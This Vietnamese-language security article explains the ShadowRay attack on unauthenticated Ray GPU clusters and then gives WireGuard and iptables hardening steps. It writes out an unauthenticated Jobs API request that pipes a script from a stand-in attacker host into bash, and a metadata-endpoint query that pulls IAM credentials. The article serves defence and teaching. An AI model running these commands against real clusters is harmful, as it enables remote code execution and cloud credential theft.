Sự bùng nổ của các mô hình nền tảng thế hệ mới và mô hình học sâu phân tán đã biến các cụm máy chủ trang bị bộ xử lý đồ họa (GPU) thành tài sản điện toán có giá trị kinh tế chiến lược trong các doanh nghiệp công nghệ. Để điều phối tiến trình huấn luyện trước (pre-training), tinh chỉnh học tăng cường từ phản hồi của con người (RLHF) và triển khai suy luận hiệu năng cao trên hàng trăm nút GPU kết nối song song, các kỹ sư phụ thuộc vào những bộ khung điều phối tính toán phân tán chuyên dụng.
Trong số đó, Ray—nền tảng mã nguồn mở do Anyscale phát triển và được triển khai rộng rãi tại các phòng thí nghiệm AI hàng đầu—đã trở thành tiêu chuẩn cốt lõi. Tuy nhiên, kiến trúc thiết kế ban đầu của Ray ưu tiên tối đa hóa hiệu năng trao đổi dữ liệu tốc độ cao trong môi trường mạng nội bộ tin cậy, thay vì xây dựng các rào chắn không tin cậy (Zero-Trust). Việc thiếu cơ chế xác thực danh tính mặc định trong các tiến trình quản trị đã dẫn đến làn sóng tấn công quy mô lớn, được định danh theo mã CVE-2023-48022 và thường gọi là chiến dịch ShadowRay.
+-------------------------------------------------------------------------------+
| CHUỖI TẤN CÔNG KHAI THÁC CỤM GPU SHADOWRAY |
+-------------------------------------------------------------------------------+
| 1. Quét cổng dịch vụ không bảo vệ |
| └─ Kẻ tấn công quét cổng mở Ray Dashboard (TCP 8265) qua Internet hoặc LAN |
| 2. Tiêm lệnh thực thi tác vụ qua REST API |
| └─ Gửi yêu cầu HTTP POST không cần xác thực tới: /api/jobs/ |
| 3. Điều phối tác vụ phân tán qua tiến trình Raylet |
| └─ Nút quản trị (Head node) phân bổ lệnh thực thi tới các nút thợ (TCP 10001)|
| 4. Thực thi mã từ xa (RCE) trên các máy tính gắn GPU |
| └─ Tập lệnh shell chạy dưới quyền tiến trình worker của hệ thống |
| 5. Mở rộng xâm nhập và trục lợi tài nguyên |
| ├─ Chiếm dụng GPU NVIDIA H100/A100 để đào tiền mã hóa trái phép (T1496) |
| ├─ Truy vấn dịch vụ máy chủ đám mây (169.254.169.254) lấy khóa quyền IAM |
| └─ Rò rỉ tệp trọng số mô hình (.safetensors) và dữ liệu độc quyền |
+-------------------------------------------------------------------------------+
Bảo vệ hạ tầng AI phân tán đòi hỏi quản trị viên phải từ bỏ sự tin cậy ngầm định tại tầng ứng dụng và thiết lập đường biên mạng mã hóa tầng 3 nghiêm ngặt.
Kiến trúc kỹ thuật của Ray và nguyên nhân gốc rễ lỗ hổng CVE-2023-48022
Ray vận hành theo mô hình phân tán giữa nút điều phối (Head Node) và các nút tính toán (Worker Nodes). Để đánh giá diện tích bề mặt tấn công mạng, cần xem xét chi tiết cách các tiến trình nội bộ giao tiếp với nhau.
1. Cấu trúc liên kết và các cổng mạng của Ray
Một cụm Ray tiêu chuẩn bao gồm các thành phần trọng yếu:
- Bảng điều khiển Ray Dashboard & Jobs API (Cổng 8265): Cung cấp giao diện trực quan theo dõi tài nguyên phần cứng, nhật ký hệ thống và điểm cuối HTTP REST cho phép nộp các tác vụ Python (
/api/jobs/). - Kho lưu trữ điều khiển toàn cục Global Control Store (GCS) (Cổng 6379): Quản lý siêu dữ liệu, trạng thái tác vụ và phả hệ dữ liệu bằng cơ sở dữ liệu khóa-giá trị nhúng.
- Máy chủ Ray Client (Cổng 10001): Cho phép kết nối phiên làm việc tương tác Python từ xa trực tiếp vào cụm tính toán.
- Raylet & Kho đối tượng chia sẻ bộ nhớ Plasma (Cổng 10002–19999): Xử lý giao tiếp gọi hàm từ xa (RPC), đồng bộ bộ nhớ và truyền nhận các mảng tensor dữ liệu giữa các GPU.
Mô hình mạng của Ray:
[ Mạng bên ngoài / Dải mạng không tin cậy ]
│
▼ (Cổng dịch vụ không xác thực: TCP 8265 / 10001)
┌────────────────────────────────────────────────────────┐
│ Nút điều phối Ray (Head Node) │
│ ├── Giao diện Web & REST API (Cổng 8265) │
│ ├── Global Control Store (GCS) (Cổng 6379) │
│ └── Ray Client Server (Cổng 10001) │
└───────────────────────┬────────────────────────────────┘
│ Giao thức nội bộ gRPC / RPC
┌───────────────┴───────────────┐
▼ ▼
┌──────────────────────┐ ┌──────────────────────┐
│ Nút thợ tính toán 1 │ │ Nút thợ tính toán 2 │
│ ├── Raylet (Worker) │ │ ├── Raylet (Worker) │
│ └── 8x NVIDIA H100 │ │ └── 8x NVIDIA H100 │
└──────────────────────┘ └──────────────────────┘
2. Bản chất kỹ thuật của chiến dịch ShadowRay (CVE-2023-48022)
Trong thiết kế ban đầu của Ray, đội ngũ phát triển không trang bị cơ chế xác thực danh tính tương hỗ (Mutual Authentication) bên trong phần mềm. Họ giả định rằng các cụm tính toán sẽ luôn được vận hành sau các bức tường lửa mạng biệt lập. Tuy nhiên, khi các nhóm kỹ sư triển khai Ray trên môi trường Kubernetes (thông qua KubeRay operator) hoặc máy ảo đám mây, các dịch vụ thường bị gắn nhầm vào địa chỉ 0.0.0.0 hoặc mở thông qua Ingress Controller mà không thiết lập lớp xác thực proxy.
Kẻ tấn công sau khi quét thấy cổng TCP 8265 mở có thể nộp một tác vụ chứa lệnh thực thi tùy ý bằng một yêu cầu HTTP đơn giản:
# Nộp tác vụ độc hại không cần xác thực tới nút điều phối Ray
curl -X POST "http://<target-ray-head>:8265/api/jobs/" \
-H "Content-Type: application/json" \
-d '{
"entrypoint": "curl -s http://attacker-c2[.]xyz/loader.sh | bash",
"runtime_env": {
"env_vars": {"CLUSTER_TARGET": "ai-training"}
}
}'
Sau khi nhận yêu cầu, nút Head ghi nhận tác vụ vào GCS, lập lịch thực thi và điều phối lệnh xuống tiến trình Raylet trên các nút thợ. Lệnh shell chạy trực tiếp trên các máy chủ trang bị GPU với quyền hạn của tiến trình chạy tác vụ (thường là tài khoản root bên trong container Docker).
3. Xâm nhập ngang và chiếm đoạt danh tính đám mây (IMDS)
Sau khi kiểm soát được một container tính toán, kẻ tấn công tự động gửi yêu cầu tới dịch vụ siêu dữ liệu phiên bản 1 (IMDSv1) của nhà cung cấp hạ tầng đám mây (AWS hoặc GCP):
# Truy vấn dịch vụ IMDS nhằm lấy mã xác thực IAM từ container bị chiếm quyền
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
Nhờ các khóa quyền truy cập IAM thu thập được, kẻ xấu mở rộng phạm vi tấn công sang các dịch vụ lưu trữ đối tượng (Amazon S3 hoặc GCS) để tải trộm các tệp trọng số mô hình đã huấn luyện hoặc kích hoạt thêm hàng loạt máy chủ ảo GPU đắt tiền phục vụ mục đích trục lợi.
Chuỗi tấn công mạng và rủi ro rò rỉ dữ liệu
Một sai lầm phổ biến của các kỹ sư là chỉ đặt một máy chủ proxy ngược (như Nginx với xác thực cơ bản) trước cổng 8265 của bảng điều khiển. Cách tiếp cận này chỉ bảo vệ được một điểm truy cập duy nhất. Các cổng giao tiếp nội bộ giữa các nút (6379, 10001 và dải cổng động của worker) vẫn truyền dữ liệu hoàn toàn không mã hóa và không xác thực trên hạ tầng mạng vật lý.
Trong mạng trung tâm dữ liệu phẳng, sự cố lộ lọt tại một máy chủ phát triển lân cận có thể biến thành bàn đạp để tin tặc nghe lén lưu lượng RPC của Ray, sửa đổi đối số tác vụ tính toán hoặc trích xuất các mảng tensor mô hình đang truyền tải trên mạng.
Các hướng rủi ro trên mạng cụm máy chủ:
[ Kẻ tấn công / Máy tính bị xâm nhập trong mạng LAN ]
│
├── (1) Quét cổng 8265 -> Khai thác Jobs API không xác thực để chiếm quyền
│
├── (2) Rò rỉ thông tin đám mây -> Truy vấn 169.254.169.254 lấy khóa IAM
│
├── (3) Nghe lén nội bộ -> Bắt gói tin GCS/RPC để trích xuất tensor mô hình
│
└── (4) Kết nối shell ngược -> Gửi gói tin TCP ra ngoài máy chủ C2
Muốn triệt tiêu tận gốc nguy cơ, cụm máy chủ phải được tách rời hoàn toàn khỏi không gian định tuyến công cộng và liên kết thông qua một lưới mạng mã hóa tầng 3.
Kiến trúc phòng thủ Zero-Trust: Lưới mạng WireGuard Mesh & phân đoạn vi mô
Để vô hiệu hóa ShadowRay và bảo vệ dữ liệu huấn luyện độc quyền, quản trị viên cần triển khai giải pháp kết hợp phân vùng mạng tầng 3 với WireGuard và thiết lập các quy tắc tường lửa kiểm soát luồng ra chặt chẽ.
+-------------------------------------------------------------------------------+
| KIẾN TRÚC BẢO MẬT CỤM GPU TÍNH TOÁN AI |
+-------------------------------------------------------------------------------+
| Tầng 1: Lưới mạng mã hóa WireGuard L3 (10.66.0.0/24) |
| ├─ Mọi giao tiếp giữa nút Head và Worker chỉ diễn ra trong dải mạng ảo riêng |
| ├─ Mã hóa ChaCha20-Poly1305 toàn bộ lưu lượng gRPC và truyền nhận mảng tensor |
| └─ Không mở bất kỳ cổng dịch vụ nào trên địa chỉ IP mạng công cộng |
+-------------------------------------------------------------------------------+
| Tầng 2: Phân đoạn vi mô luồng ra & Cách ly dịch vụ đám mây |
| ├─ Chặn đứng mọi truy vấn tới địa chỉ 169.254.169.254 từ các container worker |
| ├─ Cách ly kết nối ra ngoài; ngăn cản các nút thợ gọi về máy chủ lạ |
| └─ Sử dụng Anycast DNS đệ quy chìm các tên miền ra lệnh điều khiển (C2) |
+-------------------------------------------------------------------------------+
| Tầng 3: Quản trị từ xa qua kết nối VPN an toàn |
| ├─ Giao diện Ray Dashboard (8265) chỉ lắng nghe trên IP WireGuard (10.66.0.1) |
| ├─ Kỹ sư chỉ truy cập thông qua ứng dụng VPN client WireGuard / RiceGuard |
| └─ Ghi log kiểm toán bất biến đối với toàn bộ yêu cầu nộp tác vụ tính toán |
+-------------------------------------------------------------------------------+
1. Thiết lập lưới mạng WireGuard Mesh cho cụm GPU
Thay vì cho phép các tiến trình Ray lắng nghe trên giao diện mạng mặc định (0.0.0.0), mỗi nút trong cụm được cấp phát một địa chỉ IP ảo trong phân mạng riêng tư (ví dụ: 10.66.0.0/24).
Cấu hình mẫu WireGuard trên nút điều phối Ray (Head Node):
# /etc/wireguard/wg-ai.conf (Nút điều phối Ray Head Node)
[Interface]
Address = 10.66.0.1/24
PrivateKey = <Khoa_Bi_Mat_Head_Node>
ListenPort = 51820
# Thiết lập tường lửa chỉ cho phép lưu lượng qua giao diện ảo
PostUp = iptables -A INPUT -i wg-ai -p tcp --dport 8265 -j ACCEPT
PostDown = iptables -D INPUT -i wg-ai -p tcp --dport 8265 -j ACCEPT
# Nút tính toán thợ 1
[Peer]
PublicKey = <Khoa_Cong_Khai_Worker_1>
AllowedIPs = 10.66.0.11/32
Endpoint = 192.168.10.11:51820
PersistentKeepalive = 25
# Nút tính toán thợ 2
[Peer]
PublicKey = <Khoa_Cong_Khai_Worker_2>
AllowedIPs = 10.66.0.12/32
Endpoint = 192.168.10.12:51820
PersistentKeepalive = 25
Khi khởi động cụm tính toán, tiến trình Ray được chỉ định rõ ràng chỉ liên kết với IP của lưới mạng ảo:
# Khởi chạy Ray Head liên kết chặt chẽ với IP WireGuard Mesh
ray start --head \
--node-ip-address=10.66.0.1 \
--dashboard-host=10.66.0.1 \
--port=6379 \
--dashboard-port=8265 \
--disable-usage-stats
Các nút thợ cũng kết nối tới nút điều phối qua địa chỉ WireGuard (--address=10.66.0.1:6379 --node-ip-address=10.66.0.11). Mọi dữ liệu luân chuyển giữa các GPU đều được mã hóa bằng thuật toán ChaCha20-Poly1305 với tốc độ tương đương mạng vật lý.
2. Phân đoạn vi mô và ngăn chặn đánh cắp siêu dữ liệu đám mây
Ngay cả khi một vùng chứa worker bị xâm phạm, quy tắc tường lửa tại máy chủ phải ngăn chặn ngay lập tức hành vi kết nối shell ngược và truy vấn dịch vụ siêu dữ liệu.
Kịch bản thiết lập quy tắc tường lửa cho các máy tính gắn GPU:
#!/usr/bin/env bash
# Quy tắc kiểm soát luồng ra và cách ly dịch vụ siêu dữ liệu cho nút GPU
set -euo pipefail
WG_IF="wg-ai"
METADATA_IP="169.254.169.254"
# Thiết lập chính sách chuyển tiếp mặc định là loại bỏ
iptables -P FORWARD DROP
# Xóa các chuỗi quy tắc cũ
iptables -F
iptables -X
# Cho phép các luồng kết nối đã thiết lập hợp lệ
iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
# Chặn hoàn toàn truy cập tới dịch vụ siêu dữ liệu đám mây từ container
iptables -A OUTPUT -d "$METADATA_IP" -j DROP
# Chỉ cho phép giao tiếp nội bộ trong lưới WireGuard
iptables -A OUTPUT -o "$WG_IF" -d 10.66.0.0/24 -j ACCEPT
# Chặn toàn bộ kết nối TCP ra ngoài hạ tầng mạng thông thường
iptables -A OUTPUT -p tcp -m multiport --dports 22,80,443,4444,8080 -o eth0 -j DROP
# Ép toàn bộ lưu lượng DNS qua máy chủ đệ quy Anycast trong đường hầm
iptables -t nat -A OUTPUT -p udp --dport 53 -o "$WG_IF" -j ACCEPT
iptables -t nat -A OUTPUT -p tcp --dport 53 -o "$WG_IF" -j ACCEPT
iptables -A OUTPUT -p udp --dport 53 -j REJECT --reject-with icmp-port-unreachable
iptables -A OUTPUT -p tcp --dport 53 -j REJECT --reject-with tcp-reset
echo "Đã kích hoạt các quy tắc cách ly luồng dữ liệu cho nút GPU."
Kiểm tra đánh giá an ninh cụm máy chủ
Để kiểm chứng rằng cụm Ray đã được bảo vệ hoàn toàn khỏi các truy cập trái phép từ bên ngoài, quản trị viên có thể chạy kiểm tra an ninh từ một máy tính nằm ngoài lưới WireGuard:
#!/usr/bin/env bash
# Kịch bản kiểm tra an ninh cụm GPU Ray
TARGET_IP="192.168.10.10" # Địa chỉ IP mạng vật lý của nút điều phối
echo "[*] Bước 1: Quét cổng Ray Dashboard trên giao diện vật lý..."
if nc -z -v -w 3 "$TARGET_IP" 8265 2>&1 | grep -q "succeeded"; then
echo "[!] CẢNH BÁO: Cổng 8265 đang mở trên mạng vật lý! Cụm tính toán bị lộ."
else
echo "[+] AN TOÀN: Cổng 8265 đã bị đóng hoặc chặn trên giao diện vật lý."
fi
echo "[*] Bước 2: Quét cổng Ray Client (10001)..."
if nc -z -v -w 3 "$TARGET_IP" 10001 2>&1 | grep -q "succeeded"; then
echo "[!] CẢNH BÁO: Cổng 10001 đang mở! Nguy cơ thực thi mã từ xa."
else
echo "[+] AN TOÀN: Cổng 10001 đã được bảo vệ thành công."
fi
Khi kết quả quét báo cổng đóng trên giao diện vật lý, chỉ những kỹ sư xác thực thông qua đường hầm VPN WireGuard mới có thể gửi tác vụ và giám sát hệ thống.
Lời kết
Chiến dịch ShadowRay là bài học đắt giá cho thấy các bộ khung tính toán AI hiện đại không thể dựa vào sự tin cậy ngầm định của hạ tầng mạng. Đối với các cụm máy chủ vận hành dàn GPU trị giá hàng triệu USD và chứa các mô hình tri thức cốt lõi của doanh nghiệp, việc chỉ bảo vệ các cổng ứng dụng bên ngoài là không đủ.
Bằng cách thiết lập lưới mạng mã hóa WireGuard tầng 3 chuyên dụng, buộc các tiến trình phân tán lắng nghe trên giao diện mạng ảo và kích hoạt chính sách phân đoạn vi mô luồng ra, doanh nghiệp xây dựng nên một kiến trúc phòng thủ chiều sâu vững chắc. Các tác vụ tính toán AI phân tán sẽ luôn được bảo vệ an toàn trước các cuộc tấn công chiếm quyền, đánh cắp năng lực GPU và rò rỉ mô hình sở hữu trí tuệ.



